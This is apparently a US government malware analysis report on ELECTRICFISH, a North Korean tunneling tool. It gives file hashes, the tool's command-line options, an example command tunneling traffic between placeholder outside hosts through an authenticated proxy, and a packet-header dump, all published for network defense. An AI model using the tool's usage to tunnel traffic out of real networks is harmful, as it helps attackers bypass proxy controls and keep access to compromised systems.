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This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.

Description

This Malware Analysis Report (MAR) is the result of analytic efforts between the Department of Homeland Security (DHS), the Federal Bureau of Investigation (FBI), and the Department of Defense (DoD). Working with U.S. Government partners, DHS, FBI, and DoD identified proxy malware variants used by the North Korean government - referred to by the U.S. Government as ELECTRICFISH. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. For more information on HIDDEN COBRA activity, visit https[:]//www[.]us-cert.gov/hiddencobra.

DHS, FBI, and DoD are distributing this MAR to enable network defense and reduce exposure to North Korean government malicious cyber activity.

This MAR includes malware descriptions related to HIDDEN COBRA, suggested response actions and recommended mitigation techniques. Users or administrators should flag activity associated with the malware, report the activity to the DHS National Cybersecurity and Communications Integration Center (NCCIC) or the FBI Cyber Watch (CyWatch), and give the activity the highest priority for enhanced mitigation.

This report provides analysis of two malicious 32-bit Windows executable file. The malware implements a custom protocol that allows traffic to be tunneled between a source and a destination Internet Protocol (IP) address. The malware continuously attempts to reach out to the source and the designation system, which allows either side to initiate a tunneling session. The malware can be configured with a proxy server/port and proxy username and password. This feature allows connectivity to a system sitting inside of a proxy server, which allows the actor to bypass the compromised system?s required authentication to reach outside of the network.

For a downloadable copy of IOCs, see:

• MAR-10135536-21.stix

Submitted Files (2)

7cf5d86cc75cd8f0e22e35213a9c051b740bd4667d9879a446f06277782bffd1 (0BA6BB2AD05D86207B5303657E3F68...)

a1260fd3e9221d1bc5b9ece6e7a5a98669c79e124453f2ac58625085759ed3bb (8d9123cd2648020292b5c35edc9ae2...)

a1260fd3e9221d1bc5b9ece6e7a5a98669c79e124453f2ac58625085759ed3bb

Tags

droppertrojan

Details

Antivirus

Yara Rules

ssdeep Matches

No matches found.

PE Metadata

PE Sections

Packers/Compilers/Cryptors

Description

This file is a malicious Windows 32-bit executable. The application is a command-line utility and its primary purpose is to tunnel traffic between two IP addresses. The application accepts the following command-line arguments, which can be utilized to authenticate with a proxy server:

--Begin command-line arguments--
-l,--log [Show Debug Message]
-pw,--password [Password]
-u,--username [UserName]
-do,--domain [DomainName]
-p,--proxy [ProxyIP:Port]
-d,--destination [TargetIP:Port]
-s,--server [LLgcIP:Port]
-h,--help [Show this help message]
--End command-line arguments--

Displayed below is an example:

--Begin Example Usage--
Source IP/Port: 192.0.2.1:92
Dest IP/Port: 198.51.100.1:92
Proxy IP/Port: 203.0.113.1:92
Proxy User Name: test
Proxy Password: testpw

a12.exe -s 192.0.2.1:92 -d 198.51.100.1:92 -p 203.0.113.1:92 -u test -pw testpw?
--End Example Usage--

It will attempt to establish TCP sessions with the source IP address and the destination IP address. If a connection is made to both the source and destination IPs, this malicious utility will implement a custom protocol, which will allow traffic to rapidly and efficiently be tunneled between two machines. If necessary, the malware can authenticate with a proxy to be able to reach the destination IP address. A configured proxy server is not required for this utility.

After the malware authenticates with the configured proxy, it will immediately attempt to establish a session with the destination IP address, located outside of the target network and the source IP address. The header of the initial authentication packet, sent to both the source and destination systems, will be static except for two random bytes. Everything within this 34-byte header is static except for the bytes 0X2B6E, which will change during each connection attempt. Displayed below (and displayed in Figure 7) is the packet header.

--Begin Authentication Packet Sent to Destination System--
6161616162626262636363636464646400000000000000002B6E0000040000009210
--End Authentication Packet Sent to Destination System--

Screenshots